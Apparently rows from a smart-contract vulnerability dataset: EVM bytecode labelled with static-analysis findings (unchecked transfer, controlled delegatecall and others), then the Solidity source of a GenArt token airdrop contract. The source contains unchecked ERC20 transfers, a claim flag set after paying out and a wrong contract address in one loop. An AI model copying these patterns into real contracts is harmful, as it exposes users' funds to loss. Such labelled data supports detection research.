0x6060604052361561022a5763ffffffff60e060020a60003504166306fdde038114610233578063095ea7b3146102c357806318160ddd146102f65780631a5bd7fc1461031857806323b872dd1461039357806329684907146103cc5780632f54bf6e146103f8578063313ce5671461042857806339ec68a31461044a5780633c2b07251461047e5780635a3b7e42146104aa5780635bc91b2f1461053a5780635c251cbf1461056a57806363a599a4146105ab57806363ff195d146105bd57806370a08231146105fc5780637503e1b71461062a57806375f12b211461064f578063788023ff1461067357806378b150bd146106ca5780637c8d56b8146106ee57806386d1a69f14610721578063887ccc82146107335780638b1d67f9146107805780638b93d3fc146107a25780639281cd65146107d557806395d89b411461080b5780639e20afdf1461089b578063a0712d68146108bd578063a425b752146108e4578063a5d8cdf21461091d578063a8fa14b01461093f578063a9059cbb14610963578063b75c7dc614610996578063bb4872de146109ab578063be17be5d146109cf578063c2cf7326146109f1578063c41a360a14610a24578063d08b89f314610a53578063d9caed1214610a65578063dc8452cd14610a9e578063dd20a53e14610ac0578063dd62ed3e14610ae7578063df8de3e714610b1b578063e38296e414610b39578063eaac77ea14610b69578063f698bceb14610b8b578063fbd2dbad14610bad575b6102315b5b565b005b341561023b57fe5b610243610bdc565b604080516020808252835181830152835191928392908301918501908083838215610289575b80518252602083111561028957601f199092019160209182019101610269565b505050905090810190601f1680156102b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102cb57fe5b6102e2600160a060020a0360043516602435610c6b565b604080519115158252519081900360200190f35b34156102fe57fe5b610306610d38565b60408051918252519081900360200190f35b341561032057fe5b61032b600435610d3f565b604051808381526020018060200182810382528381815181526020019150805190602001906020028083836000831461037f575b80518252602083111561037f57601f19909201916020918201910161035f565b505050905001935050505060405180910390f35b341561039b57fe5b6102e2600160a060020a0360043581169060243516604435610dbc565b604080519115158252519081900360200190f35b34156103d457fe5b6103dc610f7b565b60408051600160a060020a039092168252519081900360200190f35b341561040057fe5b6102e2600160a060020a0360043516610f8b565b604080519115158252519081900360200190f35b341561043057fe5b610306610fac565b60408051918252519081900360200190f35b341561045257fe5b610460600435602435610fb3565b60408051938452602084019290925282820152519081900360600190f35b341561048657fe5b6103dc610fea565b60408051600160a060020a039092168252519081900360200190f35b34156104b257fe5b610243610ffa565b604080516020808252835181830152835191928392908301918501908083838215610289575b80518252602083111561028957601f199092019160209182019101610269565b505050905090810190601f1680156102b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561054257fe5b6102e2600435602435604435606435611089565b604080519115158252519081900360200190f35b341561057257fe5b6102e2600160a060020a036004351660243560443560643560843560a4351515611162565b604080519115158252519081900360200190f35b34156105b357fe5b610231611275565b005b34156105c557fe5b6102e2600160a060020a036004351660243560443560643560843560a4356112d5565b604080519115158252519081900360200190f35b341561060457fe5b610306600160a060020a03600435166113e7565b60408051918252519081900360200190f35b341561063257fe5b6103066004356113fa565b60408051918252519081900360200190f35b341561065757fe5b6102e261140d565b604080519115158252519081900360200190f35b341561067b57fe5b610231600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650509335935061141e92505050565b005b34156106d257fe5b6102e261150e565b604080519115158252519081900360200190f35b34156106f657fe5b6102e2600160a060020a036004351660243561151f565b604080519115158252519081900360200190f35b341561072957fe5b6102316115d1565b005b341561073b57fe5b610758600435602435600160a060020a036044351660643561164a565b6040805194855260208501939093529015158383015215156060830152519081900360800190f35b341561078857fe5b6103066116cf565b60408051918252519081900360200190f35b34156107aa57fe5b6102e26004356024356044356064356084356116d6565b604080519115158252519081900360200190f35b34156107dd57fe5b6102e2600160a060020a03600435166024356044356117d1565b604080519115158252519081900360200190f35b341561081357fe5b610243611895565b604080516020808252835181830152835191928392908301918501908083838215610289575b80518252602083111561028957601f199092019160209182019101610269565b505050905090810190601f1680156102b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156108a357fe5b610306611924565b60408051918252519081900360200190f35b34156108c557fe5b6102e260043561192b565b604080519115158252519081900360200190f35b34156108ec57fe5b6102e2600160a060020a03600435166024356044356064356119dc565b604080519115158252519081900360200190f35b341561092557fe5b610306611ade565b60408051918252519081900360200190f35b341561094757fe5b6102e2611ae5565b604080519115158252519081900360200190f35b341561096b57fe5b6102e2600160a060020a0360043516602435611b4f565b604080519115158252519081900360200190f35b341561099e57fe5b610231600435611c56565b005b34156109b357fe5b6102e2611d01565b604080519115158252519081900360200190f35b34156109d757fe5b610306611d24565b60408051918252519081900360200190f35b34156109f957fe5b6102e2600435600160a060020a0360243516611d2b565b604080519115158252519081900360200190f35b3415610a2c57fe5b6103dc600435611d80565b60408051600160a060020a039092168252519081900360200190f35b3415610a5b57fe5b610231611db0565b005b3415610a6d57fe5b6102e2600160a060020a0360043581169060243516604435611e02565b604080519115158252519081900360200190f35b3415610aa657fe5b610306611ee6565b60408051918252519081900360200190f35b3415610ac857fe5b6102e2600435611eec565b604080519115158252519081900360200190f35b3415610aef57fe5b610306600160a060020a0360043581169060243516611f9b565b60408051918252519081900360200190f35b3415610b2357fe5b610231600160a060020a0360043516611fb9565b005b3415610b4157fe5b6102e2600160a060020a0360043516612128565b604080519115158252519081900360200190f35b3415610b7157fe5b610306612245565b60408051918252519081900360200190f35b3415610b9357fe5b61030661224c565b60408051918252519081900360200190f35b3415610bb557fe5b6103dc600435612293565b60408051600160a060020a039092168252519081900360200190f35b610112805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610c635780601f10610c3857610100808354040283529160200191610c63565b820191906000526020600020905b815481529060010190602001808311610c4657829003601f168201915b505050505081565b6101045460009060a060020a900460ff161515610d3157600236604414610c8e57fe5b821580610cbf5750600160a060020a03338116600090815261010d6020908152604080832093881683529290522054155b1515610ccb5760006000fd5b600160a060020a03338116600081815261010d6020908152604080832094891680845294825291829020879055815187815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3600191505b5b505b5b92915050565b61010b5481565b6000610d496124b0565b600083815261010e602090815260409182902080546001820180548551818602810186019096528086529294919390928391830182828015610daa57602002820191906000526020600020905b815481526020019060010190808311610d96575b50505050509050925092505b50915091565b6101045460009060a060020a900460ff161515610f7357600336606414610ddf57fe5b610de885610f8b565b158015610e04575061010554600160a060020a03868116911614155b1515610e105760006000fd5b600160a060020a038516600090815261010c602052604090205483901015610e385760006000fd5b600160a060020a03808616600090815261010d60209081526040808320339094168352929052205483901015610e6e5760006000fd5b600160a060020a038516600090815261010c6020526040902054610e9290846122c6565b600160a060020a03808716600090815261010c602090815260408083209490945561010d8152838220339093168252919091522054610ed190846122c6565b600160a060020a03808716600090815261010d602090815260408083203385168452825280832094909455918716815261010c9091522054610f1390846122ee565b600160a060020a03808616600081815261010c602090815260409182902094909455805187815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3600191505b5b505b5b9392505050565b61010554600160a060020a031681565b600160a060020a03811660009081526101016020526040812054115b919050565b6101145481565b600082815261010e60209081526040808320848452600290810190925290912080546001820154928201549092915b509250925092565b61010f54600160a060020a031681565b610111805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610c635780601f10610c3857610100808354040283529160200191610c63565b820191906000526020600020905b815481529060010190602001808311610c4657829003601f168201915b505050505081565b61010f54604080517f637265617465526f756e642875696e743235362c75696e743235362c75696e7481527f3235362c75696e74323536290000000000000000000000000000000000000000602080830191909152825191829003602c0182206000928201839052835163ffffffff60e060020a928390049081169092028152600481018a905260248101899052604481018890526064810187905293519294600160a060020a0316939092608480830193928290030181866102c65a03f4151561115057fe5b5050604051519150505b949350505050565b6101045460009060a060020a900460ff16151561126a5760063660c41461118557fe5b61010f54604080517f72656c656173655374616b6528616464726573732c627974657333322c75696e81527f743235362c75696e743235362c75696e743235362c626f6f6c29000000000000602080830191909152825191829003603a018220600092820192909252825163ffffffff60e060020a938490049081169093028152600160a060020a038d81166004830152602482018d9052604482018c9052606482018b9052608482018a905288151560a483015293519390941693919260c4808401938290030181866102c65a03f4151561125d57fe5b5050604051519250505b5b505b5b9695505050505050565b61127e33610f8b565b1561022e57610104547501000000000000000000000000000000000000000000900460ff1615156112ab57fe5b610104805474ff0000000000000000000000000000000000000000191660a060020a1790555b5b5b565b6101045460009060a060020a900460ff16151561126a5760063660c4146112f857fe5b61010f54604080517f7374616b654f6e426568616c6628616464726573732c75696e743235362c627981527f74657333322c75696e743235362c75696e743235362c75696e74323536290000602080830191909152825191829003603e018220600092820192909252825163ffffffff60e060020a938490049081169093028152600160a060020a038d81166004830152602482018d9052604482018c9052606482018b9052608482018a905260a4820189905293519390941693919260c4808401938290030181866102c65a03f4151561125d57fe5b5050604051519250505b5b505b5b9695505050505050565b61010c6020526000908152604090205481565b61010e6020526000908152604090205481565b6101045460a060020a900460ff1681565b600060003660405180838380828437820191505092505050604051809103902061144781612316565b1561150657600091505b83518210156114ee57838281518110151561146857fe5b602090810290910101516001838101610100811061148257fe5b0160005b6101000a815481600160a060020a030219169083600160a060020a0316021790555081600101610101600086858151811015156114bf57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020555b816001019150611451565b61010060005411156115005760006000fd5b60008390555b5b5b50505050565b61010f5460a060020a900460ff1681565b600060023660441461152d57fe5b61010f54604080517f6e756d657261695472616e7366657228616464726573732c75696e74323536298152815160209181900382018120600091830191909152825160e060020a9182900463ffffffff81169092028152600160a060020a03898116600483015260248201899052935193909416939092604480830193928290030181866102c65a03f415156115bf57fe5b5050604051519250505b5b5092915050565b6000366040518083838082843782019150509250505060405180910390206115f881612316565b1561164557610104547501000000000000000000000000000000000000000000900460ff16151561162557fe5b610104805474ff0000000000000000000000000000000000000000191690555b5b5b50565b600084815261010e602090815260408083208684526002018252808320600160a060020a038616845260030182528083208484529091529020805460018201546fffffffffffffffffffffffffffffffff700100000000000000000000000000000000830481169392169160ff80831692610100900416905b50945094509450949050565b6101085481565b6101045460009060a060020a900460ff1615156117c65761010f54604080517f7374616b652875696e743235362c627974657333322c75696e743235362c756981527f6e743235362c75696e7432353629000000000000000000000000000000000000602080830191909152825191829003602e018220600092820192909252825163ffffffff60e060020a938490049081169093028152600481018b9052602481018a90526044810189905260648101889052608481018790529251600160a060020a0390941693919260a480820193918290030181866102c65a03f415156117bc57fe5b5050604051519150505b5b5b95945050505050565b6101045460009060a060020a900460ff161515610f73576003366064146117f457fe5b600160a060020a03338116600090815261010d602090815260408083209389168352929052205484146118275760006000fd5b600160a060020a03338116600081815261010d60209081526040808320948a1680845294825291829020879055815187815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3600191505b5b505b5b9392505050565b610113805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610c635780601f10610c3857610100808354040283529160200191610c63565b820191906000526020600020905b815481529060010190602001808311610c4657829003601f168201915b505050505081565b6101075481565b6101045460009060a060020a900460ff161515610fa75761010f54604080517f6d696e742875696e7432353629000000000000000000000000000000000000008152815190819003600d0181206000602092830152825163ffffffff60e060020a928390049081169092028152600481018790529251600160a060020a0390941693909260248082019392918290030181866102c65a03f415156119cb57fe5b5050604051519150505b5b5b919050565b6101045460009060a060020a900460ff16151561115a576004366084146119ff57fe5b61010f54604080517f64657374726f795374616b6528616464726573732c627974657333322c75696e81527f743235362c75696e743235362900000000000000000000000000000000000000602080830191909152825191829003602d018220600092820192909252825163ffffffff60e060020a938490049081169093028152600160a060020a038b81166004830152602482018b9052604482018a9052606482018990529351939094169391926084808401938290030181866102c65a03f41515611ac857fe5b5050604051519250505b5b505b5b949350505050565b6101095481565b6000600036604051808383808284378201915050925050506040518091039020611b0e81612316565b15611b495761010f5460a060020a900460ff161515611b2957fe5b61010f805474ff0000000000000000000000000000000000000000191690555b5b5b5090565b6101045460009060a060020a900460ff161515610d3157600236604414611b7257fe5b600160a060020a033316600090815261010c602052604090205483901015611b9a5760006000fd5b600160a060020a033316600090815261010c6020526040902054611bbe90846122c6565b600160a060020a03338116600090815261010c60205260408082209390935590861681522054611bee90846122ee565b600160a060020a03808616600081815261010c60209081526040918290209490945580518781529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3600191505b5b505b5b92915050565b600160a060020a033316600090815261010160205260408120549080821515611c7e57611506565b50506000828152610102602052604081206001810154600284900a9290831611156115065780546001908101825581018054839003905560408051600160a060020a03331681526020810186905281517fc7fb647e59b18047309aa15aad418e5d7ca96d173ad704f1031a2c3d7591734b929181900390910190a15b5b50505050565b610104547501000000000000000000000000000000000000000000900460ff1681565b61010a5481565b600082815261010260209081526040808320600160a060020a038516845261010190925282205482811515611d635760009350611d77565b8160020a9050808360010154166000141593505b50505092915050565b600060018281016101008110611d9257fe5b0160005b9054906101000a9004600160a060020a031690505b919050565b600036604051808383808284378201915050925050506040518091039020611dd781612316565b1561164557610104805475ff000000000000000000000000000000000000000000191690555b5b5b50565b6000600336606414611e1057fe5b61010f54604080517f776974686472617728616464726573732c616464726573732c75696e7432353681527f29000000000000000000000000000000000000000000000000000000000000006020808301919091528251918290036021018220600092820192909252825163ffffffff60e060020a938490049081169093028152600160a060020a038a811660048301528981166024830152604482018990529351939094169391926064808401938290030181866102c65a03f41515611ed357fe5b5050604051519250505b5b509392505050565b60005481565b600061010f60009054906101000a9004600160a060020a0316600160a060020a031660405180807f637265617465546f75726e616d656e742875696e7432353629000000000000008152506019019050604051809103902060e060020a9004836000604051602001526040518263ffffffff1660e060020a02815260040180828152602001915050602060405180830381866102c65a03f415156119cb57fe5b5050604051519150505b919050565b61010d60209081526000928352604080842090915290825290205481565b60006000611fc633610f8b565b156121215761010554600160a060020a0384811691161415611fe457fe5b600160a060020a038316151561202a57604051600160a060020a0333811691309091163180156108fc02916000818181858888f19350505050151561202557fe5b612121565b82915081600160a060020a03166370a08231306000604051602001526040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b151561208d57fe5b6102c65a03f1151561209b57fe5b50505060405180519050905081600160a060020a031663a9059cbb33836000604051602001526040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b151561210f57fe5b6102c65a03f1151561211d57fe5b5050505b5b5b505050565b6000600060003660405180838380828437820191505092505050604051809103902061215381612316565b1561223c5761010f5460a060020a900460ff16151561216e57fe5b61010f54600160a060020a038581169116146122375761011080546001810161219783826124c2565b916000526020600020900160005b61010f80548354600160a060020a036101009490940a848102199091169184160217909255815473ffffffffffffffffffffffffffffffffffffffff1981168883169081179093556040805191909216808252602082019390935281519295507fef9fc1dee6010109e6e3b21e51d44028e246dbad8a5a71ea192a30b19e1f457f93508290030190a16001925061223c565b600092505b5b5b5050919050565b6101065481565b600061228d6122846101085462093a806122756101075461227042610109546122c6565b612481565b81151561227e57fe5b046122ee565b61010a546122c6565b90505b90565b6101108054829081106122a257fe5b906000526020600020900160005b915054906101000a9004600160a060020a031681565b60008183038383118015906122db5750838111155b15156122e357fe5b8091505b5092915050565b60008282018381108015906122db5750828110155b15156122e357fe5b8091505b5092915050565b600160a060020a03331660009081526101016020526040812054818082151561233e57612477565b600085815261010260205260409020805490925015156123a157600080548355600180840191909155610103805491612379919083016124c2565b600283018190556101038054879290811061239057fe5b906000526020600020900160005b50555b8260020a905080826001015416600014156124775760408051600160a060020a03331681526020810187905281517fe1c52dc63b719ade82e8bea94cc41a0d5d28e4aaf536adb5e9cccc9ff8c1aeda929181900390910190a181546001901161246457600085815261010260205260409020600201546101038054909190811061242757fe5b906000526020600020900160005b506000908190558581526101026020526040812081815560018082018390556002909101919091559350612477565b8154600019018255600182018054821790555b5b5b505050919050565b60008282028315806122db575082848281151561249a57fe5b04145b15156122e357fe5b8091505b5092915050565b60408051602081019091526000815290565b81548183558181151161212157600083815260209020612121918101908301612516565b5b505050565b81548183558181151161212157600083815260209020612121918101908301612516565b5b505050565b61229091905b80821115611b49576000815560010161251c565b5090565b90565b61229091905b80821115611b49576000815560010161251c565b5090565b905600a165627a7a7230582060f862963ad9cd0e55f0c084f9f7587a2540fff30877737a37ba1e0b0835d11e0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 5,165 |
0x16a80025b8083dbbf6968c1fbd63b822b34d35cf
|
/**
*Submitted for verification at Etherscan.io on 2022-01-14
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IGenArtInterface {
function getMaxMintForMembership(uint256 _membershipId)
external
view
returns (uint256);
function getMaxMintForOwner(address owner) external view returns (uint256);
function upgradeGenArtTokenContract(address _genArtTokenAddress) external;
function setAllowGen(bool allow) external;
function genAllowed() external view returns (bool);
function isGoldToken(uint256 _membershipId) external view returns (bool);
function transferFrom(
address _from,
address _to,
uint256 _amount
) external;
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _membershipId) external view returns (address);
}
interface IGenArt {
function getTokensByOwner(address owner)
external
view
returns (uint256[] memory);
function ownerOf(uint256 tokenId) external view returns (address);
function balanceOf(address owner) external view returns (uint256);
function isGoldToken(uint256 _tokenId) external view returns (bool);
}
interface IGenArtAirdrop {
function getAllowedMintForMembership(
uint256 _collectionId,
uint256 _membershipId
) external view returns (uint256);
}
interface IGenArtDrop {
function getAllowedMintForMembership(uint256 _group, uint256 _membershipId)
external
view
returns (uint256);
}
contract GenArtTokenAirdrop is Ownable {
address genArtTokenAddress;
address genArtMembershipAddress;
uint256 tokensPerMint = 213 * 1e18;
uint256 endBlock;
address genArtAirdropAddress;
address genArtDropAddress;
uint256[] airdropCollections = [1, 2];
uint256[] dropCollectionGroups = [1, 2, 3, 4, 5, 6, 7, 8, 9];
mapping(uint256 => bool) membershipClaims;
event Claimed(address account, uint256 membershipId, uint256 amount);
constructor(
address genArtMembershipAddress_,
address genArtTokenAddress_,
address genArtAirdropAddress_,
address genArtDropAddress_,
uint256 endBlock_
) {
genArtTokenAddress = genArtTokenAddress_;
genArtMembershipAddress = genArtMembershipAddress_;
genArtAirdropAddress = genArtAirdropAddress_;
genArtDropAddress = genArtDropAddress_;
endBlock = endBlock_;
}
function claimAllTokens() public {
require(
block.number < endBlock,
"GenArtTokenAirdrop: token claiming window has ended"
);
uint256[] memory memberships = IGenArt(genArtMembershipAddress)
.getTokensByOwner(msg.sender);
require(
memberships.length > 0,
"GenArtTokenAirdrop: sender does not own memberships"
);
uint256 airdropTokenAmount = 0;
for (uint256 i = 0; i < memberships.length; i++) {
airdropTokenAmount += getAirdropTokenAmount(memberships[i]);
membershipClaims[memberships[i]] = true;
emit Claimed(msg.sender, memberships[i], airdropTokenAmount);
}
require(
airdropTokenAmount > 0,
"GenArtTokenAirdrop: no tokens to claim"
);
IERC20(genArtTokenAddress).transfer(msg.sender, airdropTokenAmount);
}
function claimTokens(uint256 membershipId) public {
require(
!membershipClaims[membershipId],
"GenArtTokenAirdrop: tokens already claimed"
);
require(
block.number < endBlock,
"GenArtTokenAirdrop: token claiming window has ended"
);
require(
IGenArt(genArtMembershipAddress).ownerOf(membershipId) ==
msg.sender,
"GenArtTokenAirdrop: sender is not owner of membership"
);
uint256 airdropTokenAmount = getAirdropTokenAmount(membershipId);
require(
airdropTokenAmount > 0,
"GenArtTokenAirdrop: no tokens to claim"
);
IERC20(genArtTokenAddress).transfer(msg.sender, airdropTokenAmount);
emit Claimed(msg.sender, membershipId, airdropTokenAmount);
membershipClaims[membershipId] = true;
}
function getAirdropTokenAmountAccount(address account)
public
view
returns (uint256)
{
uint256[] memory memberships = IGenArt(genArtMembershipAddress)
.getTokensByOwner(account);
uint256 airdropTokenAmount = 0;
for (uint256 i = 0; i < memberships.length; i++) {
airdropTokenAmount += getAirdropTokenAmount(memberships[i]);
}
return airdropTokenAmount;
}
function getAirdropTokenAmount(uint256 membershipId)
public
view
returns (uint256)
{
if (membershipClaims[membershipId]) {
return 0;
}
bool isGoldToken = IGenArt(genArtMembershipAddress).isGoldToken(
membershipId
);
uint256 tokenAmount = 0;
for (uint256 i = 0; i < airdropCollections.length; i++) {
uint256 remainingMints = IGenArtAirdrop(genArtAirdropAddress)
.getAllowedMintForMembership(
airdropCollections[i],
membershipId
);
uint256 mints = (isGoldToken ? 5 : 1) - remainingMints;
tokenAmount = tokenAmount + (mints * tokensPerMint);
}
for (uint256 i = 0; i < dropCollectionGroups.length; i++) {
uint256 remainingMints = IGenArtDrop(genArtAirdropAddress)
.getAllowedMintForMembership(
dropCollectionGroups[i],
membershipId
);
uint256 mints = (isGoldToken ? 5 : 1) - remainingMints;
tokenAmount = tokenAmount + (mints * tokensPerMint);
}
return tokenAmount;
}
/**
* @dev Function to receive ETH
*/
receive() external payable virtual {}
function withdrawTokens(uint256 _amount, address _to) public onlyOwner {
IERC20(genArtTokenAddress).transfer(_to, _amount);
}
function withdraw(uint256 value) public onlyOwner {
address _owner = owner();
payable(_owner).transfer(value);
}
}
|
0x60806040526004361061008a5760003560e01c8063492c3d8911610059578063492c3d8914610128578063715018a61461016557806374c2e0931461017c5780638da5cb5b146101b9578063f2fde38b146101e457610091565b80631e4bd42c146100965780632e1a7d4d146100ad578063398d92bb146100d657806346e04a2f146100ff57610091565b3661009157005b600080fd5b3480156100a257600080fd5b506100ab61020d565b005b3480156100b957600080fd5b506100d460048036038101906100cf91906113c9565b61059e565b005b3480156100e257600080fd5b506100fd60048036038101906100f8919061141b565b610671565b005b34801561010b57600080fd5b50610126600480360381019061012191906113c9565b6107a1565b005b34801561013457600080fd5b5061014f600480360381019061014a91906113c9565b610ac9565b60405161015c9190611874565b60405180910390f35b34801561017157600080fd5b5061017a610e63565b005b34801561018857600080fd5b506101a3600480360381019061019e919061130d565b610eeb565b6040516101b09190611874565b60405180910390f35b3480156101c557600080fd5b506101ce611021565b6040516101db9190611719565b60405180910390f35b3480156101f057600080fd5b5061020b6004803603810190610206919061130d565b61104a565b005b6004544310610251576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161024890611854565b60405180910390fd5b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340398d67336040518263ffffffff1660e01b81526004016102ae9190611719565b60006040518083038186803b1580156102c657600080fd5b505afa1580156102da573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610303919061135f565b90506000815111610349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161034090611834565b60405180910390fd5b6000805b82518110156104a65761039f838281518110610392577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151610ac9565b826103aa9190611926565b91506001600960008584815181106103eb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151815260200190815260200160002060006101000a81548160ff0219169083151502179055507f987d620f307ff6b94d58743cb7a7509f24071586a77759b77c2d4e29f75a2f9a33848381518110610473577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101518460405161048b9392919061175d565b60405180910390a1808061049e90611a52565b91505061034d565b50600081116104ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e1906117b4565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610547929190611734565b602060405180830381600087803b15801561056157600080fd5b505af1158015610575573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059991906113a0565b505050565b6105a6611142565b73ffffffffffffffffffffffffffffffffffffffff166105c4611021565b73ffffffffffffffffffffffffffffffffffffffff161461061a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610611906117f4565b60405180910390fd5b6000610624611021565b90508073ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015801561066c573d6000803e3d6000fd5b505050565b610679611142565b73ffffffffffffffffffffffffffffffffffffffff16610697611021565b73ffffffffffffffffffffffffffffffffffffffff16146106ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e4906117f4565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb82846040518363ffffffff1660e01b815260040161074a929190611734565b602060405180830381600087803b15801561076457600080fd5b505af1158015610778573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079c91906113a0565b505050565b6009600082815260200190815260200160002060009054906101000a900460ff1615610802576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f990611814565b60405180910390fd5b6004544310610846576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083d90611854565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e836040518263ffffffff1660e01b81526004016108b89190611874565b60206040518083038186803b1580156108d057600080fd5b505afa1580156108e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109089190611336565b73ffffffffffffffffffffffffffffffffffffffff161461095e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610955906117d4565b60405180910390fd5b600061096982610ac9565b9050600081116109ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a5906117b4565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a0b929190611734565b602060405180830381600087803b158015610a2557600080fd5b505af1158015610a39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5d91906113a0565b507f987d620f307ff6b94d58743cb7a7509f24071586a77759b77c2d4e29f75a2f9a338383604051610a919392919061175d565b60405180910390a160016009600084815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006009600083815260200190815260200160002060009054906101000a900460ff1615610afa5760009050610e5e565b6000600260009054906101000a900473fffffffffffffffffffffffffff